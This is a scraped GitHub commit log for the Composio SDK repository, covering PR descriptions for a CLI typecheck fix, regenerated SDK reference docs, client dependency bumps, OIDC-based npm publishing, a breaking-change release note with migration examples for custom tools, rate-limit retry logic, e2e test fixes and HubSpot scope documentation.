|
5f004ffbfe |
fix(cli): drop recipe meta-tool slugs removed from @composio/client (#3615)
This PR: - cherry-picks the CLI fix from https://github.com/ComposioHQ/composio/pull/3494 so `next` is unblocked independently of that larger ESM-only PR - fixes the `@composio/cli#build` typecheck failure on `next` (`TS2322` in `ts/packages/cli/src/services/tools-executor.ts`) that is currently breaking the **TS SDK Release** workflow - `@composio/client` alpha.74 (https://github.com/ComposioHQ/composio/pull/3609) removed `COMPOSIO_UPSERT_RECIPE` and `COMPOSIO_GET_RECIPE` from `SessionExecuteMetaParams['slug']`, but `META_TOOL_SLUG_LIST` (declared `satisfies ReadonlyArray<SessionExecuteMetaParams['slug']>`) still listed them, so the build no longer type-checked - adds a `@composio/cli` patch changeset Verified locally: `pnpm --filter @composio/cli typecheck` passes.@composio/cli@0.2.32-beta.268 |
||
|
|
3b4168a203 |
docs: update TypeScript SDK reference from source (#3613)
## Summary Auto-generated TypeScript SDK reference docs from `ts/packages/core/src/`. Regenerates pages at `docs/content/reference/sdk-reference/typescript/` to reflect changes in the core package's public API (new methods, updated signatures, changed types). Co-authored-by: jkomyno <12381818+jkomyno@users.noreply.github.com> Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> |
||
|
|
0b1e478476 |
docs: update Python SDK reference from source (#3612)
## Summary Auto-generated Python SDK reference docs from `python/composio/`. Regenerates pages at `docs/content/reference/sdk-reference/python/` to reflect changes in the Python package's public API (new methods, updated signatures, changed types). Co-authored-by: jkomyno <12381818+jkomyno@users.noreply.github.com> |
||
|
|
a0bef5d986 |
chore(deps): bump composio client SDKs (TS alpha.74, Py 1.41.0) (#3609)
This PR: - bumps the TS catalog `@composio/client` from `0.1.0-alpha.72` to `0.1.0-alpha.74` (published from ComposioHQ/composio-base-ts#84) and refreshes `pnpm-lock.yaml` - bumps the Python `composio-client` pin from `1.39.0` to `1.41.0` (published from ComposioHQ/composio-base-py#69) - adds a patch changeset for `@composio/core` and `@composio/cli` so the client bump actually ships in the next release ## Context Neither client is auto-bumped in this repo — there is no Stainless→consumer bot, and Dependabot does not touch the pnpm `catalog:` pin (TS) or the exact `composio-client==` pin (Py), so these were a manual catch-up. The Python `1.41.0` PyPI publish initially failed with a `403 Forbidden` (stale `PYPI_TOKEN`); it was re-run successfully before this bump, so `1.41.0` is live on PyPI. |
||
|
|
b346272572 |
chore(ci): use OIDC for TS npm releases, add needed attributes to package.json (#3611)
This PR: - configures the TS release workflow to request GitHub Actions OIDC ID tokens - runs the TS release publish path on Node 24.17.0 so npm supports trusted publishing - leaves a TODO to centralize that release runtime in `mise.toml` after https://github.com/ComposioHQ/composio/pull/3494 lands - removes the long-lived `NPM_TOKEN` `.npmrc` setup before `changeset publish` - adds npm package support metadata (`repository.url`, `bugs.url`, and `homepage`) for every public TS release workspace that Changesets can publish - marks `@composio/cli-local-tools` private so Changesets does not try to publish it@composio/llamaindex@0.9.3 @composio/mastra@0.9.3 @composio/langchain@0.9.3 @composio/google@0.9.3 @composio/core@0.11.0 @composio/openai-agents@0.9.3 @composio/cloudflare@0.9.3 @composio/cli-local-tools@0.0.5 @composio/claude-agent-sdk@0.9.3 @composio/openai@0.9.3 @composio/anthropic@0.9.3 @composio/vercel@0.9.3 @composio/cli@0.2.32-beta.267 |
||
|
|
f6df489c0b |
Release: update version (#3429)
> [!WARNING] > ## ⚠️ Breaking change — `@composio/core@0.11.0` (minor bump, pre-1.0) > > The legacy in-memory custom-tools registry **`composio.tools.createCustomTool(...)` has been removed** (changeset `44e5458`). Because `@composio/core` is pre-1.0, this ships as a **minor** bump per semver convention — but it **is breaking**: any code calling `composio.tools.createCustomTool(...)` will fail to compile/run after upgrading. Consumers pinned to `^0.10.0` will **not** auto-upgrade to `0.11.0` and must opt in explicitly. ### Migration: use Tool Router custom tools Custom tools are now standalone factories bound to a **Tool Router session**, instead of being registered into an in-memory registry on the `composio.tools` namespace. **Before (removed):** ```ts // ❌ No longer available in 0.11.0 const tool = composio.tools.createCustomTool({ /* ... */ }); ``` **After — a standalone tool (no auth):** ```ts import { Composio, experimental_createTool } from '@composio/core'; import { z } from 'zod'; const composio = new Composio(); const grep = experimental_createTool('GREP', { name: 'Grep Search', description: 'Search for patterns in files', inputParams: z.object({ pattern: z.string(), path: z.string() }), execute: async (input) => ({ matches: [] }), }); // Bind the custom tool(s) to a Tool Router session const session = await composio.create(userId, { experimental: { customTools: [grep] }, }); ``` **After — a tool that extends a Composio toolkit (inherits that toolkit's auth):** ```ts const getImportantEmails = experimental_createTool('GET_IMPORTANT_EMAILS', { name: 'Get Important Emails', description: 'Fetch high-priority emails', extendsToolkit: 'gmail', inputParams: z.object({ limit: z.number().default(10) }), execute: async (input, ctx) => { // ctx.execute() returns the standard { data, error, logId } shape const result = await ctx.execute('GMAIL_SEARCH', { query: 'is:important' }); return { emails: result.data }; }, }); const session = await composio.create(userId, { experimental: { customTools: [getImportantEmails] }, }); ``` **After — grouping related tools into a custom toolkit:** ```ts import { experimental_createToolkit } from '@composio/core'; const devTools = experimental_createToolkit('DEV_TOOLS', { name: 'Dev Tools', description: 'Local developer utilities', tools: [grep], // tools here must NOT set `extendsToolkit` }); const session = await composio.create(userId, { experimental: { customToolkits: [devTools] }, }); ``` > Notes: > - `experimental_createTool` / `experimental_createToolkit` are also available from the dedicated `@composio/core/experimental` entry point. > - Tool slugs are auto-prefixed with `LOCAL_` when exposed to the agent (e.g. `GREP` → `LOCAL_GREP`; inside a toolkit, `DEV_TOOLS` + `GREP` → `LOCAL_DEV_TOOLS_GREP`). > - These APIs are intentionally namespaced `experimental_*` — they are not yet stable and may change. --- This PR was opened by the [Changesets release](https://github.com/changesets/action) GitHub action. When you're ready to do a release, you can merge this and the packages will be published to npm automatically. If you're not ready to do a release yet, that's fine, whenever you add more changesets to next, this PR will be updated. # Releases ## @composio/core@0.11.0 ### Minor Changes -@composio/cli@0.2.32-beta.266 |
||
|
|
82896858ec |
fix(docs): retry 429s in data sync scripts and lower concurrency (#3608)
This PR: - adds a shared `fetchWithRetry` helper for the docs data-sync scripts that retries `429` and transient 5xx responses, honoring `Retry-After` (with jitter) and falling back to exponential backoff - routes every request in `generate-toolkits.ts` and `generate-meta-tools.ts` through it, so the `Docs - Update Data` workflow rides out the staging rate limit (2000 req/min) instead of hard-failing - lowers toolkit fetch `batchSize` 10 → 5 (~30 → ~15 concurrent requests) to soften burst pressure on the rate limit - caps retry attempts so CI still fails fast when the backend is genuinely down - fixes the current `429 Too Many Requests` failure in `Generate meta tools reference`, which inherited the rate-limit window exhausted by the high-volume `generate-toolkits.ts` run - verified with `bun run types:check` and an offline retry/backoff behavior test (real end-to-end run needs the staging key in CI: `gh workflow run docs-update-data.yml`) - follow-up (separate PR): reduce per-toolkit request volume in `generate-toolkits.ts` — left out here because it needs consumer and search-quality validation |
||
|
|
d7d5d46f4d |
fix(ts/e2e): stabilize Tool Router e2e tests (#3605)
This PR: - addresses the Mastra Tool Router E2E timeout seen in https://github.com/ComposioHQ/composio/actions/runs/27758637694/job/82126898492 - addresses the Cloudflare Tool Router AI failure seen in https://github.com/ComposioHQ/composio/actions/runs/27759741357/job/82130692480 - addresses the follow-up Cloudflare basic timeout seen in https://github.com/ComposioHQ/composio/actions/runs/27760548665/job/82133483582 - uses the existing `TIMEOUTS.LLM_LONG` live-LLM budget for both Mastra Tool Router zod-v3 and zod-v4 suites - raises the HTTP MCP connection-phase timeout from Mastra's implicit 3s default to 15s in both zod-v3 and zod-v4 suites - keeps the Cloudflare AI test's `Output.object({ karma })` structured output and validates the returned `response.karma` - asserts that `HACKERNEWS_GET_USER` was called and that `response.karma` equals the structured MCP tool output - removes the extra Cloudflare `prepareStep` steering and `findNumberProperty` extraction helper - avoids explicit `@ai-sdk/mcp` HTTP client close calls in workerd because the close path aborts the pending stream and Vitest reports it as unhandled - gives the live Cloudflare HackerNews compatibility test a 30s budget while leaving the fast smoke tests on Vitest's default timeout - fixes the zod-v3 test label so it reports `zod 3` instead of `zod 4` Verification: - `./ts/e2e-tests/_utils/node_modules/.bin/tsc --noEmit -p ts/e2e-tests/runtimes/node/mastra-tool-router-zod-v3/tsconfig.json` - `./ts/e2e-tests/_utils/node_modules/.bin/tsc --noEmit -p ts/e2e-tests/runtimes/node/mastra-tool-router-zod-v4/tsconfig.json` - `pnpm exec vitest run -t "should connect to MCP server"` from `ts/e2e-tests/runtimes/cloudflare/cf-workers-tool-router-ai` - `pnpm exec tsc --noEmit --target es2022 --lib es2022 --module es2022 --moduleResolution Bundler --resolveJsonModule --allowSyntheticDefaultImports --strict --skipLibCheck --types @cloudflare/workers-types src/index.ts` from `ts/e2e-tests/runtimes/cloudflare/cf-workers-tool-router-ai` - `pnpm exec vitest run -t "should fetch HackerNews user pg successfully"` from `ts/e2e-tests/runtimes/cloudflare/cf-workers-basic` - `pnpm exec vitest run` from `ts/e2e-tests/runtimes/cloudflare/cf-workers-basic` - `pnpm exec prettier --check ts/e2e-tests/runtimes/cloudflare/cf-workers-basic/test/platform.spec.ts` - `pnpm exec prettier --check ts/e2e-tests/runtimes/cloudflare/cf-workers-tool-router-ai/src/index.ts ts/e2e-tests/runtimes/cloudflare/cf-workers-tool-router-ai/test/tool-router-ai.spec.ts ts/e2e-tests/runtimes/node/mastra-tool-router-zod-v3/e2e.test.ts ts/e2e-tests/runtimes/node/mastra-tool-router-zod-v4/e2e.test.ts` - `git diff --check` CI: - `E2E Test Typescript SDK` passed on https://github.com/ComposioHQ/composio/actions/runs/27768379357 Note: the full Cloudflare AI test was not run locally because this checkout's local `OPENAI_API_KEY` is invalid; CI has the repo secret for that path. |
||
|
|
f032cd5f69 |
docs: clarify HubSpot scope configuration (#3603)
## Summary - Tighten the HubSpot toolkit FAQ into five customer-facing questions instead of many scope-adjacent entries - Clarify HubSpot scope category matching: Composio `scopes` maps to HubSpot required/conditionally required, and `optional_scopes` maps to HubSpot optional - Document managed-auth limitations, custom-auth examples, Create/Get/Update Auth Config API usage, reconnect behavior, and grouped troubleshooting checks - Add guidance for HubSpot's unverified-app warning and Composio's active app approval work ## Verification - Confirmed live HubSpot auth config API responses expose `credentials.scopes` and `credentials.optional_scopes` - `git diff --check` passed - `bun run scripts/validate-links.ts` could not run locally because docs dependencies are missing: `fumadocs-mdx/bun` |
||
|
|
77d883238a | docs: clarify HubSpot scope configuration |